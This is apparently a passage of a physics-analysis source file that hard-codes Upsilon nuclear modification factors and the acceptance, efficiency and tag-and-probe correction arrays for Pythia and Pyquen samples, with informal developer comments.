!?\n //MB\n \n //pt > 4\n float centMB[1]={0.5};\n float centMB2S[1]={0.3};\n float centMBA[1]={0.4};\n float centMB3S[1]={0.7};\n float cent_limit_err[1]={0.1};\n // float raaMB1S[1]={0.564};\n // float raaMB1SstatErr[1]={0.077};\n // float raaMB1SsystErr[1]={0.071};\n // float raaMB2S[1]={0.120};\n // float raaMB2SstatErr[1]={0.038};\n // float raaMB2SsystErr[1]={0.020};\n // float raaMB3S[1]={0.033};\n // float raaMB3SstatErr[1]={0.035};//{0.035};\n // float raaMB3SsystErr[1]={0.006};\n \n float raaMB1S[1]={0.511};\n float raaMB1SstatErr[1]={0.026};\n float raaMB1SsystErr[1]={0.016};\n float raaMB2S[1]={0.126};\n float raaMB2SstatErr[1]={0.03};\n float raaMB2SsystErr[1]={0.021};\n float raaMB3S[1]={0.033};\n// float raaMB3SstatErr[1]={0.035};//{0.035};\n// float raaMB3SsystErr[1]={0.006};\n \n /// MB result!\n \n float raaMB1 [1]={0.388};\n float raaMB1e[1]={0.018};\n float raaMB1s[1]={0.042};\n \n float raaMB2 [1]={0.106};\n float raaMB2e[1]={0.026};\n float raaMB2s[1]={0.018};\n \n float raaMB3 [1]={0.046};\n float raaMB3e[1]={0.045};\n float raaMB3s[1]={0.028};\n \n float raaMB3Slimit[1]={0.1};\n float raaMBJpsi[1]={0.304};\n float raaMBJpsistatErr[1]={0.025};\n float raaMBJpsisystErr[1]={0.022};\n // float raaMBAlice[1]={0.439};\n // float raaMBAliceStat[1]={0.065};\n // float raaMBAliceSyst[1]={0.028};\n \n float raaMB1StotErr =sqrt(pow(raaMB1e[0],2)+pow(raaMB1s[0],2));\n float raaMB2StotErr =sqrt(pow(raaMB2e[0],2)+pow(raaMB2s[0],2));\n float raaMB3StotErr =sqrt(pow(raaMB3e[0],2)+pow(raaMB3s[0],2));\n \n float ppy[1]={1};\n float ppx[1]={377};\n float ppxEr[1]={0};\n float ppyErSystematic=sqrt(pow(0.06,2)+pow(0.023,2));\n float ppyErSyst[1]={ppyErSystematic};\n float ppyErtol[1]={0}; \n\n float Y2Sppx[1]={392};\n float Y2SppyErSystematic=sqrt(pow(0.06,2)+pow(0.033,2));\n float Y2SppyErSyst[1]={Y2SppyErSystematic};\n float Y2SppyErtotal=sqrt(pow(Y2SppyErSystematic,2)+pow(0.202,2));\n float Y2SppyErtol[1]={0};\n float centMBErr[1]={0.15};\n\n// doubledifferential Npart/rapidity\n // !!!! first entry is |y|<1, second entry is 1<|y|<2.4 !!!!\n float raaRN1_c [2] = {0.364,0.407}; // central values\n float raaRN1e_c[2] = {0.036,0.047};\n float raaRN1s_c[2] = {0.033,0.029};\n\n float raaRN2_c [2] = {0.073,0.127};\n float raaRN2e_c[2] = {0.048,0.061};\n float raaRN2s_c[2] = {0.056,0.058};\n\n float raaRN3_c [2] = {-0.04,0.108};\n float raaRN3e_c[2] = {0. ,0.105};\n float raaRN3s_c[2] = {0. ,0.035};\n\n float raaRN1_p [2] = {0.423,0.596}; // non-central (20-100) values\n float raaRN1e_p[2] = {0.035,0.047};\n float raaRN1s_p[2] = {0.102,0.033};\n\n float raaRN2_p [2] = {0.168,0.296};\n float raaRN2e_p[2] = {0.057,0.076};\n float raaRN2s_p[2] = {0.160,0.027};\n\n float raaRN3_p [2] = {0.145,0.152};\n float raaRN3e_p[2] = {0.107,0.129};\n float raaRN3s_p[2] = {0.064,0.024};\n\n float rap_short_c[2] = {0.45,1.65};\n float rap_short_p[2] = {0.55,1.75};\n float rap_short_3[2] = {0.58,1.78};\n float rap_shorte[2]= {0.55,0.65};\n\n\n\n////EFFICIENCY and acceptance 20th Nov 2014\n//A. Pythia sample. 1S //table 6\n////JUNE 18th\n// total acc*eff 1S = 0.449 +/- 0.0007\nfloat Ae_1S_pythia_pt[nPtBins_2013] = {0.296,0.190,0.185,0.259,0.376};\nfloat Ae_1S_pythia_pte[nPtBins_2013] = {0.001,0.001,0.001,0.002,0.004};\nfloat Ae_1S_pythia_rap2014[nRapBins_2014]={0.267,0.268,0.270,0.255,0.203,0.072};\nfloat Ae_1S_pythia_rap2014e[nRapBins_2014]={0.0011,0.001,0.0012,0.0011,0.0010,0.0006};\n //B. 2S pythia with binning of 2S. with raa_pt-y 2S in mind. // //tables 16 and 17 of note apr20 /// should be wrong because of the trigger.\n///// July 15th - Prashant\nfloat Ae_2S_pythia_pt2010[nPtBins_2010] = {0.199,0.183,0.310};\nfloat Ae_2S_pythia_pt2010e[nPtBins_2010] = {0.0005,0.0012,0.0027};\nfloat Ae_2S_pythia_rap2010[nRapBins_2010] = {0.237,0.161};\nfloat Ae_2S_pythia_rap2010e[nRapBins_2010] = {0.0007,0.0006};\n/* float Ae_2S_pythia_pt2010[nPtBins_2010] = {0.231,0.229,0.368}; */\n/* float Ae_2S_pythia_pt2010e[nPtBins_2010] = {0.0004,0.0010,0.0022}; */\n/* float Ae_2S_pythia_rap2010[nRapBins_2010] = {0.247,0.224}; */\n/* float Ae_2S_pythia_rap2010e[nRapBins_2010] = {0.0005,0.0006}; */\n\n//B.2 2S pythia with binning even, and binning of 1S. //tables 16 and 17 of note may 6th\n// total acc*eff 2S = 0.375 +/- 0.006\n///// July 15th - Prashant\nfloat Ae_2S_pythia_pt2013[nPtBins_2013]={0.269,0.157,0.160,0.229,0.351};\nfloat Ae_2S_pythia_pt2013e[nPtBins_2013]={0.0010,0.006,0.0008,0.0018,0.0043};\nfloat Ae_2S_pythia_rap2014[nRapBins_2014]={0.237,0.239,0.236,0.219,0.175,0.060};//bug was here.\nfloat Ae_2S_pythia_rap2014e[nRapBins_2014]={0.0012,0.0012,0.0012,0.0012,0.0011,0.0005};\n/* float Ae_2S_pythia_pt2013[nPtBins_2013]={0.469,0.299,0.323,0.423,0.559}; */\n/* float Ae_2S_pythia_pt2013e[nPtBins_2013]={0.0013,0.009,0.0013,0.0024,0.0047}; */\n/* float Ae_2S_pythia_rap2014[nRapBins_2014]={0.421,0.392,0.377,0.361,0.347,0.261};//bug was here. */\n/* float Ae_2S_pythia_rap2014e[nRapBins_2014]={0.0015,0.0014,0.0014,0.0014,0.0016,0.0021}; */\n\n//B.3 3S pythia with binning even, and binning of 1S. //tables 16 and 17 of note may 6th\n//total 3S acc*eff = 0.246\n///// July 15th, Prashant\nfloat Ae_3S_pythia_pt2013[nPtBins_2013]={0.333,0.199,0.187,0.253,0.374};\nfloat Ae_3S_pythia_pt2013e[nPtBins_2013]={0.001,0.001,0.001,0.001,0.002};\nfloat Ae_3S_pythia_rap2014[nRapBins_2014]={0.293,0.293,0.286,0.264,0.202,0.071};//,0.1825};//bug is fixed!\nfloat Ae_3S_pythia_rap2014e[nRapBins_2014]={0.001,0.001,0.001,0.001,0.001,0.001};//,0.005149};\n/* float Ae_3S_pythia_pt2013[nPtBins_2013]={0.538,0.351,0.357,0.455,0.588}; */\n/* float Ae_3S_pythia_pt2013e[nPtBins_2013]={0.0018,0.001,0.0012,0.0018,0.0028}; */\n/* float Ae_3S_pythia_rap2014[nRapBins_2014]={0.475,0.450,0.436,0.421,0.394,0.280};//,0.1825};//bug is here */\n/* float Ae_3S_pythia_rap2014e[nRapBins_2014]={0.0015,0.0014,0.0014,0.0015,0.0017,0.0022};//,0.005149}; */\n\n//C. Pyquen Sample 1S. //table 18 // updated June13\n\n // last bin is good today. but values are screwed\n//float Ae_1S_pyquen_pt[nPtBins_2013] = {0.348,0.228,0.239,0.342,0.486};\n//float Ae_1S_pyquen_pte[nPtBins_2013] = {0.0031,0.0020,0.0023,0.027,0.0031}; // \n///// July 15th, Prashant\nfloat Ae_1S_pyquen_pt[nPtBins_2013] = {0.262,0.169,0.174,0.250,0.370};\nfloat Ae_1S_pyquen_pte[nPtBins_2013] = {0.0026,0.0017,0.0020,0.0023,0.0032}; // \n/* float Ae_1S_pyquen_rap[nRapBins_2013] = {0.227,0.252,0.291,0.323,0.299};// table 21 */\nfloat Ae_1S_pyquen_rap2014[nRapBins_2014]={0.223,0.235,0.249,0.243,0.197,0.073};\nfloat Ae_1S_pyquen_rap2014e[nRapBins_2014]={0.0025,0.0026,0.0028,0.0029,0.0027,0.0018};//,0.003386};\n//float Ae_1S_pyquen_rap2014[nRapBins_2014]={0.236,0.267,0.314,0.332,0.324,0.220}; // bug is here.\n//float Ae_1S_pyquen_rap2014e[nRapBins_2014]={0.0023,0.0026,0.0031,0.0035,0.0041,0.0049};//,0.003386};\n\n//float Ae_1S_pyquen_rape[nRapBins_2013] = {0.0024,0.0031,0.0036,0.0031,0.0031};\n/* float Ae_1S_pyquen_cent[bin1] = {0.2,0.280,0.286,0.285,0.279,0.274,0.267}; //starting with peripheral bin!//table 21 */\n//float Ae_1S_pyquen_cent2014[nCentBins_2014]={0.299,0.299,0.297,0.295,0.293,0.287,0.280,0.272};//starting with peripheral bin!//table 20 from may 6 (havent changed much.)\nfloat Ae_1S_pyquen_cent2014[nCentBins_2014]={0.222,0.221,0.218,0.217,0.216,0.212,0.207,0.200};//starting with peripheral bin!//table 20 from may 6 (havent changed much.)\n/* float Ae_1S_pyquen_cente[bin1] = {0.0017,0.0027,0.0027,0.0027,0.0026,0.0036,0.0031}; */\n//float Ae_1S_pyquen_cent2014e[nCentBins_2014]={0.0018,0.0020,0.0026,0.0025,0.0026,0.0025,0.0035,0.0030};\nfloat Ae_1S_pyquen_cent2014e[nCentBins_2014]={0.0015,0.0016,0.0021,0.0021,0.0021,0.020,0.0029,0.0024};\n\n\n//D. Pyquen sample 2S. with binning of 2S. // with \n// total 2S acc*eff = 0.254 +/- 0.0022\nfloat Ae_2S_pyquen_pt[nPtBins_2010] = {0.185,0.182,0.3051}; //table 25\nfloat Ae_2S_pyquen_pte[nPtBins_2010] = {0.001,0.002,0.004};\nfloat Ae_2S_pyquen_rap[nRapBins_2010] = {0.219,0.159}; //table 26\nfloat Ae_2S_pyquen_rape[nRapBins_2010] = {0.002,0.002};\nfloat Ae_2S_pyquen_cent2014[bin1]={0.200,0.198,0.197,0.195,0.193,0.192,0.185};\nfloat Ae_2S_pyquen_cent2014e[bin1] = {0.0016,0.0022,0.0022,0.0022,0.0021,0.0030,0.0025};\n/* float Ae_1S_pyquen_rap2014[nRapBins_2014]= {0.211,0.220,0.225,0.216,0.177,0.062}; */\n/* float Ae_1S_pyquen_rap2014e[nRapBins_2014]={0.003,0.003,0.003,0.003,0.0030,0.002};//,0.003386}; */\nfloat Ae_2S_pyquen_rap2014[nRapBins_2014]= {0.211,0.220,0.225,0.216,0.177,0.062};\nfloat Ae_2S_pyquen_rap2014e[nRapBins_2014]={0.003,0.003,0.003,0.003,0.003,0.002};\n//float Ae_2S_pyquen_cent2014[nCentBins_2014] ={0.266,0.264,0.265,0.263,0.263,0.255,0.254,0.245};\n//float Ae_2S_pyquen_cent2014e[nCentBins_2014]={0.0017,0.0018,0.0024,0.0024,0.0024,0.0023,0.0033,0.0028};\n\nfloat Ae_1S_pythia_tot= 0.2310;\nfloat Ae_1S_pythia_tote=0.0006;\nfloat Aet_1S_pythia_tot=0.252;\nfloat Aet_1S_pythia_tote = 0.001;\nfloat Aet_1S_pythia_tot4=0.168;\nfloat Aet_1S_pythia_tot4e = 0.001;\nfloat t_1S_pythia_tot3p5 = 1.089;\nfloat t_1S_pythia_tot4 = 1.072;\n\nfloat Ae_2S_pythia_tot= 0.201;\nfloat Ae_2S_pythia_tote=0.0006;\nfloat Aet_2S_pythia_tot= 0.215;\nfloat Aet_2S_pythia_tote= 0.001;\n\nfloat Aet_2S_pythia_tot3p5= 0.276;\nfloat Aet_2S_pythia_tot3p5e= 0.001;\nfloat t_2S_pythia_tot= 1.068;\n\nfloat Aet_3S_pythia_tot= 0.246;\nfloat Aet_3S_pythia_tote=0.001;\nfloat t_3S_pythia_tot = 1.056;\n\nfloat Ae_1S_pyquen_tot=0.210;\nfloat Ae_1S_pyquen_tote=0.0009;\nfloat Aet_1S_pyquen_tot=0.229;\nfloat Aet_1S_pyquen_tote=0.002;\nfloat t_1S_pyquen_tot3p5=1.087;\nfloat t_1S_pyquen_tot4=1.070;\n\nfloat Ae_2S_pyquen_tot=0.1918;\nfloat Ae_2S_pyquen_tote=0.0010;\nfloat Aet_2S_pyquen_tot=0.205;\nfloat Aet_2S_pyquen_tote=0.002;\nfloat Aet_2S_pyquen_tot3p5=0.276;\nfloat Aet_2S_pyquen_tot3p5e=0.002;\nfloat t_2S_pyquen_tot=1.067;\n///for FUN\nfloat Aet_3S_pyquen_tot=0.2003;\nfloat Aet_3S_pyquen_tote=0.02;\n\n/*\n\n0,1918/0,201=0,954\n0,210*0,1918/0,201=0.2003\n\nmax. 10%uncertainty on this from varying ratio eff vs pt or rapidity\n-> effPyquen3S tot = 0.2003+/-0.02\n\n */\n//June 18th\n//fiducial purposes...\n/* float A_1S_pythia_pp_pt3p5[nPtBins_2013]={0.56,0.552,0.598,0.637,0.677}; */\n/* float A_1S_pythia_pp_pt3p5e[nPtBins_2013]={0.0109,0.0107,0.0142,0.243}; */\n//rap in bins called 2014, pt in bins called 2013\n//eff tot 1S = 0.656 +/- 0.0011\n// acc tot 1S =0.3520 +/- 0.0007\n// tnp tot 1S = 1.089 +/- 0.002(?)\n\nfloat A_1S_pythia_pt3p5[nPtBins_2013]={0.457,0.299,0.277,0.372,0.51};\nfloat A_1S_pythia_pt3p5e[nPtBins_2013]={0.0001,0.0001,0.0001,0.001,0.002};\nfloat e_1S_pythia_pt3p5[nPtBins_2013]={0.646,0.634,0.669,0.697,0.738};\nfloat e_1S_pythia_pt3p5e[nPtBins_2013]={0.0019,0.0019,0.0027,0.0036,0.0051};\nfloat A_1S_pythia_rap3p5[nRapBins_2014]={0.391,0.390,0.392,0.388,0.341,0.147};\nfloat A_1S_pythia_rap3p5e[nRapBins_2014]={0.0001,0.0001,0.0001,0.0001,0.0001,0.0001};\nfloat e_1S_pythia_rap3p5[nRapBins_2014]={0.686,0.689,0.692,0.654,0.598,0.484};\nfloat e_1S_pythia_rap3p5e[nRapBins_2014]={0.0025,0.0025,0.0025,0.0025,0.0027,0.0038};\nfloat t_1S_pythia_pt3p5[nPtBins_2013]={1.108,1.1,1.077,1.057,1.037};\nfloat t_1S_pythia_pt3p5e[nPtBins_2013]={0.004,0.004,0.005,0.006,0.008};\nfloat t_1S_pythia_rap3p5[nRapBins_2014]={1.069,1.069,1.076,1.099,1.138,1.160};\nfloat t_1S_pythia_rap3p5e[nRapBins_2014]={0.004,0.004,0.004,0.005,0.006,0.011};\nfloat t_1S_pythia_pt4[nPtBins_2013]={1.095,1.081,1.062,1.046,1.031};\nfloat t_1S_pythia_pt4e[nPtBins_2013]={0.004,0.004,0.005,0.006,0.008};\nfloat t_1S_pythia_rap4[nRapBins_2014]={1.052,1.052,1.057,1.081,1.125,1.151};\nfloat t_1S_pythia_rap4e[nRapBins_2014]={0.004,0.004,0.004,0.005,0.007,0.013};\n//eff tot 2S = 0.718 +/- 0.0013\n//acc tot 2S = 0.28 +/- 0.000X\n//tnp tot 2S = 1.067 +/- 0.002\nfloat A_2S_pythia_pt2013[nPtBins_2013]= {0.38,0.22,0.22,0.31,0.46};\nfloat A_2S_pythia_pt2013e[nPtBins_2013]= {0.0001,0.0001,0.0001,0.0001,0.0001};\nfloat e_2S_pythia_pt2013[nPtBins_2013]= {0.709,0.716,0.728,0.740,0.765};\nfloat e_2S_pythia_pt2013e[nPtBins_2013]= {0.0022,0.0024,0.0034,0.0047,0.0069};\nfloat A_2S_pythia_rap2014[nRapBins_2014]= {0.31,0.31,0.31,0.31,0.28,0.12};\nfloat A_2S_pythia_rap2014e[nRapBins_2014]={0.0001,0.0001,0.0001,0.0001,0.0001,0.0001};\nfloat e_2S_pythia_rap2014[nRapBins_2014]= {0.766,0.722,0.761,0.708,0.625,0.503};\nfloat e_2S_pythia_rap2014e[nRapBins_2014]={0.0031,0.0032,0.0032,0.0032,0.0032,0.0045};\nfloat t_2S_pythia_pt4[nPtBins_2013]={1.08,1.072,1.057,1.045,1.031};\nfloat t_2S_pythia_pt4e[nPtBins_2013]={0.004,0.004,0.005,0.007,0.010};\nfloat t_2S_pythia_rap4[nRapBins_2014]={1.049,1.049,1.053,1.077,1.12,1.146};\nfloat t_2S_pythia_rap4e[nRapBins_2014]={0.005,0.005,0.005,0.005,0.006,0.012};\n\nfloat t_3S_pythia_pt4[nPtBins_2013]={1.072,1.067,1.054,1.043,1.03};\nfloat t_3S_pythia_pt4e[nPtBins_2013]={0.004,0.004,0.005,0.007,0.010};\nfloat t_3S_pythia_rap4[nRapBins_2014]={1.037,1.037,1.043,1.068,1.111,1.139};\nfloat t_3S_pythia_rap4e[nRapBins_2014]={0.005,0.005,0.005,0.005,0.006,0.012};\n//eff tot 3S = 0.750 +/- 0.0013\n//acc tot 3S = 0.33 +/- 0.004\nfloat A_3S_pythia_pt2013[nPtBins_2013]= {0.455,0.273,0.249,0.330,0.470};\nfloat A_3S_pythia_pt2013e[nPtBins_2013]= {0.003,0.002,0.003,0.003,0.004};\nfloat e_3S_pythia_pt2013[nPtBins_2013]= {0.731,0.731,0.751,0.769,0.795};\nfloat e_3S_pythia_pt2013e[nPtBins_2013]= {0.0026,0.0024,0.0029,0.0033,0.0041};\nfloat A_3S_pythia_rap2014[nRapBins_2014]= {0.365,0.365,0.364,0.360,0.312,0.136}; // ooh...\nfloat A_3S_pythia_rap2014e[nRapBins_2014]={0.0017,0.0016,0.0016,0.0017,0.002,0.0028}; // oooh\nfloat e_3S_pythia_rap2014[nRapBins_2014]= {0.802,0.803,0.786,0.733,0.647,0.519};\nfloat e_3S_pythia_rap2014e[nRapBins_2014]={0.0029,0.0029,0.003,0.0029,0.0031,0.0044};\n//2010 bins ... :/\nfloat A_2S_pythia_rap2010[nRapBins_2010]= {0.31,0.25};\nfloat A_2S_pythia_rap2010e[nRapBins_2010]={0.0005,0.0008};\nfloat e_2S_pythia_rap2010[nRapBins_2010]= {0.767,0.647};\nfloat e_2S_pythia_rap2010e[nRapBins_2010]={0.0016,0.0017};\nfloat t_2S_pythia_rap2010[nRapBins_2010]={1.050,1.101};\nfloat t_2S_pythia_rap2010e[nRapBins_2010]={0.001,0.001};\nfloat A_2S_pythia_pt2010[nPtBins_2010]= {0.28,0.25,0.41};\nfloat A_2S_pythia_pt2010e[nPtBins_2010]={0.0002,0.0002,0.0041};\nfloat e_2S_pythia_pt2010[nPtBins_2010]= {0.714,0.735,0.757};\nfloat e_2S_pythia_pt2010e[nPtBins_2010]={0.0015,0.004,0.0051};\nfloat t_2S_pythia_pt2010[nPtBins_2010] = {1.074,1.050,1.035};\nfloat t_2S_pythia_pt2010e[nPtBins_2010] = {0.001,0.002,0.005};\n\n\n//Pyquen 1S\nfloat e_1S_pyquen_pt[nPtBins_2013]={0.571,0.565,0.623,0.677,0.726};\nfloat e_1S_pyquen_pte[nPtBins_2013]={0.0055,0.0058,0.007,0.006,0.0049};\nfloat A_1S_pyquen_pt[nPtBins_2013]={0.46,0.30,0.28,0.37,0.51};\nfloat A_1S_pyquen_pte[nPtBins_2013]={0.0009,0.0001,0.0006,0.0012,0.0027};\nfloat e_1S_pyquen_rap2014[nRapBins_2014]={0.572,0.603,0.639,0.625,0.580,0.491};\nfloat e_1S_pyquen_rap2014e[nRapBins_2014]={0.0062,0.0066,0.0071,0.0073,0.0080,0.0121};\nfloat A_1S_pyquen_rap2014[nRapBins_2014]={0.391,0.390,0.392,0.388,0.341,0.147};\nfloat A_1S_pyquen_rap2014e[nRapBins_2014]={0.0009,0.0009,0.0009,0.0009,0.0009,0.0004};\nfloat e_1S_pyquen_cent2014[nCentBins_2014]={0.634,0.632,0.625,0.621,0.618,0.606,0.594,0.572};\nfloat e_1S_pyquen_cent2014e[nCentBins_2014]={0.0043,0.0046,0.0061,0.0060,0.0060,0.0058,0.0082,0.0070};\nfloat A_1S_pyquen_cent2014[nCentBins_2014]={0.35,0.35,0.35,0.35,0.35,0.35,0.35,0.35};\nfloat A_1S_pyquen_cent2014e[nCentBins_2014]={0.0043,0.0046,0.0061,0.0060,0.0060,0.0058,0.0082,0.0070}; // starting with the peripheral value!!!\nfloat t_1S_pyquen_pt3p5[nPtBins_2013]={1.106,1.098,1.077,1.056,1.038};\nfloat t_1S_pyquen_pt3p5e[nPtBins_2013]={0.012,0.013,0.014,0.010,0.008};\nfloat t_1S_pyquen_rap3p5[nRapBins_2014]={1.064,1.064,1.072,1.097,1.143,1.168};\nfloat t_1S_pyquen_rap3p5e[nRapBins_2014]={0.013,0.013,0.013,0.014,0.018,0.033};\nfloat t_1S_pyquen_pt4[nPtBins_2013]={1.093,1.079,1.061,1.045,1.032};\nfloat t_1S_pyquen_pt4e[nPtBins_2013]={0.012,0.013,0.014,0.010,0.008};\nfloat t_1S_pyquen_rap4[nRapBins_2014]={1.048,1.048,1.053,1.079,1.130,1.157};\nfloat t_1S_pyquen_rap4e[nRapBins_2014]={0.013,0.013,0.013,0.014,0.018,0.033};\nfloat t_1S_pyquen_cent2014[nCentBins_2014]={1.090,1.088,1.087,1.087,1.087,1.087,1.087,1.087};\nfloat t_1S_pyquen_cent2014e[nCentBins_2014]={0.008,0.009,0.012,0.012,0.012,0.012,0.017,0.015};\nfloat t_1S_pyquen_cent42014[nCentBins_2014]={1.073,1.071,1.070,1.070,1.070,1.070,1.070,1.069};\nfloat t_1S_pyquen_cent42014e[nCentBins_2014]={0.010,0.010,0.013,0.013,0.014,0.013,0.019,0.017};\n/* float e_1S_pyquen_rap[nRapBins_2010]={}; */\n/* float e_1S_pyquen_rape[nRapBins_2010]={}; */\n/* float A_1S_pyquen_rap[nRapBins_2010]={}; */\n/* float A_1S_pyquen_rape[nRapBins_2010]={}; */\n\nfloat t_2S_pyquen_pt[nPtBins_2013]={1.078,1.071,1.057,1.045,1.032};\nfloat t_2S_pyquen_pte[nPtBins_2013]={0.012,0.014,0.015,0.011,0.007};\nfloat t_2S_pyquen_rap[nRapBins_2014]={1.044,1.044,1.050,1.077,1.125,1.154};\nfloat t_2S_pyquen_rape[nRapBins_2014]={0.013,0.013,0.013,0.014,0.018,0.033};\nfloat t_2S_pyquen_cent2014[bin1]={1.067,1.067,1.067,1.0670,1.067,1.066,1.066};\nfloat t_2S_pyquen_cent2014e[bin1]={0.010,0.013,0.013,0.013,0.013,0.018,0.016};\nfloat e_2S_pyquen_rap2010[nRapBins_2010]= {0.710,0.647};\nfloat e_2S_pyquen_rap2010e[nRapBins_2010]={0.005,0.006};\nfloat A_2S_pyquen_rap2010[nRapBins_2010]= {0.343,0.424};\nfloat A_2S_pyquen_rap2010e[nRapBins_2010]={0.0016,0.0025};\nfloat e_2S_pyquen_pt2010[nPtBins_2010]= {0.674,0.718,0.749};\nfloat e_2S_pyquen_pt2010e[nPtBins_2010]= {0.0047,0.0074,0.0049};\nfloat A_2S_pyquen_pt2010[nPtBins_2010]= {0.28,0.25,0.41};\nfloat A_2S_pyquen_pt2010e[nPtBins_2010]= {0.0004,0.0009,0.0024};\nfloat t_2S_pyquen_rap2010[nRapBins_2010]= {1.046,1.103};\nfloat t_2S_pyquen_rap2010e[nRapBins_2010]={0.008,0.012};\nfloat t_2S_pyquen_pt2010[nPtBins_2010]= {1.073,1.05,1.036};\nfloat t_2S_pyquen_pt2010e[nPtBins_2010]= {0.008,0.012,0.007};\n\n\n\n//28th april 2014 \n//integrated values!\n/* pp Y(1S) */\n/* Upsilon eff Total 0.560949 error 0.000954518 */\n/* Upsilon Acc*eff Total 0.26641 error 0.000408323 */\n\n/* pp Y(2S) */\n/* Upsilon eff Total 0.640482 error 0.00123349 */\n/* Upsilon Acc*eff Total 0.239197 error 0.000400378 */\n\n/* PbPb Y(1S) */\n/* Upsilon eff Total 0.587255 error 0.0073492 */\n/* Upsilon Acc*eff Total 0.274313 error 0.0025024 */\n\n/* PbPb Y(2S) */\n/* Upsilon eff Total 0.686029 error 0.00928091 */\n/* Upsilon Acc*eff Total 0.254253 error 0.00226777 */\n\n///Tag and probe correction of corrections\nfloat Aet_1S_pythia_pt[nPtBins_2013+1]={0.328,0.209,0.199,0.274,0.390,0.41};\nfloat Aet_1S_pythia_pte[nPtBins_2013+1]={0.002,0.001,0.002,0.003,0.005,0.01};\n\n/* float Aet_1S_pythia_pt[nPtBins_2013]={0.328,0.209,0.199,0.274,0.390}; */\n/* float Aet_1S_pythia_pte[nPtBins_2013]={0.002,0.001,0.002,0.003,0.005}; */\n\nfloat Aet_1S_pythia_rap2014[nRapBins_2014]={0.287,0.287,0.292,0.279,0.232,0.082};\nfloat Aet_1S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\n//updating now with loose, the 2S (24Feb)\n/* float Aet_2S_pythia_pt2013[nPtBins_2013]={0.295,0.168,0.167,0.236,0.363}; */\n/* float Aet_2S_pythia_pt2013e[nPtBins_2013]={0.002,0.001,0.002,0.003,0.007}; */\n/* float Aet_2S_pythia_rap2014[nRapBins_2014]={0.248,0.249,0.246,0.235,0.197,0.071}; */\n/* float Aet_2S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001}; */\n\nfloat Aet_2S_pythia_pt2013[nPtBins_2013]={0.38,0.274,0.227,0.287,0.401};\nfloat Aet_2S_pythia_pt2013e[nPtBins_2013]={0.002,0.002,0.002,0.004,0.008};\nfloat Aet_2S_pythia_rap2014[nRapBins_2014]={0.345,0.345,0.346,0.334,0.268,0.093};\nfloat Aet_2S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\n\nfloat Aet_3S_pythia_pt2013[nPtBins_2013]={0.357,0.213,0.197,0.264,0.385};\nfloat Aet_3S_pythia_pt2013e[nPtBins_2013]={0.002,0.001,0.001,0.002,0.003};\nfloat Aet_3S_pythia_rap2014[nRapBins_2014]={0.304,0.303,0.299,0.281,0.224,0.081};\nfloat Aet_3S_pythia_rap2014e[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\n\nfloat Aet_3S_pythia_pt2013Loose[nPtBins_2013]={0.428,0.325,0.263,0.317,0.423};\nfloat Aet_3S_pythia_pt2013Loosee[nPtBins_2013]={0.002,0.001,0.001,0.002,0.003};\nfloat Aet_3S_pythia_rap2014Loose[nRapBins_2014]={0.393,0.392,0.391,0.371,0.286,0.101};\nfloat Aet_3S_pythia_rap2014Loosee[nRapBins_2014]={0.002,0.002,0.002,0.002,0.002,0.001};\n\n/* float Aet_1S_pyquen_pt[nPtBins_2013]={0.289,0.186,0.185,0.266,0.384}; */\n/* float Aet_1S_pyquen_pte[nPtBins_2013]={0.004,0.003,0.003,0.004,0.005}; */\n\nfloat Aet_1S_pyquen_pt[nPtBins_2013+1]={0.289,0.186,0.185,0.266,0.384,0.4};\nfloat Aet_1S_pyquen_pte[nPtBins_2013+1]={0.004,0.003,0.003,0.004,0.005,0.01};\n\nfloat Aet_1S_pyquen_rap2014[nRapBins_2014]={0.238,0.250,0.269,0.266,0.226,0.084};\nfloat Aet_1S_pyquen_rap2014e[nRapBins_2014]={0.004,0.004,0.005,0.005,0.005,0.003};\nfloat Aet_1S_pyquen_cent2014[nCentBins_2014]={0.243,0.242,0.239,0.238,0.236,0.232,0.227,0.219};\nfloat Aet_1S_pyquen_cent2014e[nCentBins_2014]={0.003,0.003,0.004,0.003,0.004,0.003,0.005,0.004};\nfloat Aet_1S_pyquen_cent2014Super[nCentBins_2014+1]={0.243,0.242,0.239,0.238,0.236,0.232,0.227,0.219,0.219};\nfloat Aet_1S_pyquen_cent2014Supere[nCentBins_2014+1]={0.003,0.003,0.004,0.003,0.004,0.003,0.005,0.004,0.004};\n\nfloat Aet_2S_pythia_pt2013Large[nPtBins_2010]={0.212,0.196,0.321};\nfloat Aet_2S_pythia_pt2013Largee[nPtBins_2010]={0.001,0.002,0.005};\nfloat Aet_2S_pythia_rap2014Large[nRapBins_2010]={0.249,0.175};\nfloat Aet_2S_pythia_rap2014Largee[nRapBins_2010]={0.001,0.001};\n\nfloat Aet_2S_pyquen_pt2013Large[nPtBins_2010]={0.208,0.181,0.361};\nfloat Aet_2S_pyquen_pt2013Largee[nPtBins_2010]={0.002,0.003,0.006};\nfloat Aet_2S_pyquen_rap2014Large[nRapBins_2010]={0.229,0.175};\nfloat Aet_2S_pyquen_rap2014Largee[nRapBins_2010]={0.003,0.003};\n\nfloat Aet_2S_pythia_pt2013LooseLarge[nPtBins_2010]={0.318,0.244,0.401};\nfloat Aet_2S_pythia_pt2013LooseLargee[nPtBins_2010]={0.001,0.002,0.008};\nfloat Aet_2S_pythia_rap2014LooseLarge[nRapBins_2010]={0.345,0.242};\nfloat Aet_2S_pythia_rap2014LooseLargee[nRapBins_2010]={0.002,0.001};\n\nfloat Aet_2S_pyquen_pt2013LooseLarge[nPtBins_2010]={0.290,0.231,0.394};\nfloat Aet_2S_pyquen_pt2013LooseLargee[nPtBins_2010]={0.002,0.003,0.007};\nfloat Aet_2S_pyquen_rap2014LooseLarge[nRapBins_2010]={0.307,0.238};\nfloat Aet_2S_pyquen_rap2014LooseLargee[nRapBins_2010]={0.003,0.003};\n//end of update\nfloat Aet_2S_pyquen_pt2013[nPtBins_2013]={0.275,0.160,0.161,0.232,0.361};\nfloat Aet_2S_pyquen_pt2013e[nPtBins_2013]={0.004,0.003,0.003,0.004,0.006};\nfloat Aet_2S_pyquen_rap2014[nRapBins_2014]={0.220,0.230,0.236,0.233,0.199,0.071};\nfloat Aet_2S_pyquen_rap20104e[nRapBins_2014]={0.004,0.004,0.005,0.005,0.005,0.003};\nfloat Aet_2S_pyquen_cent2014[nCentBins_2014]={0.214,0.213,0.211,0.209,0.206,0.205,0.200,0.198};\nfloat 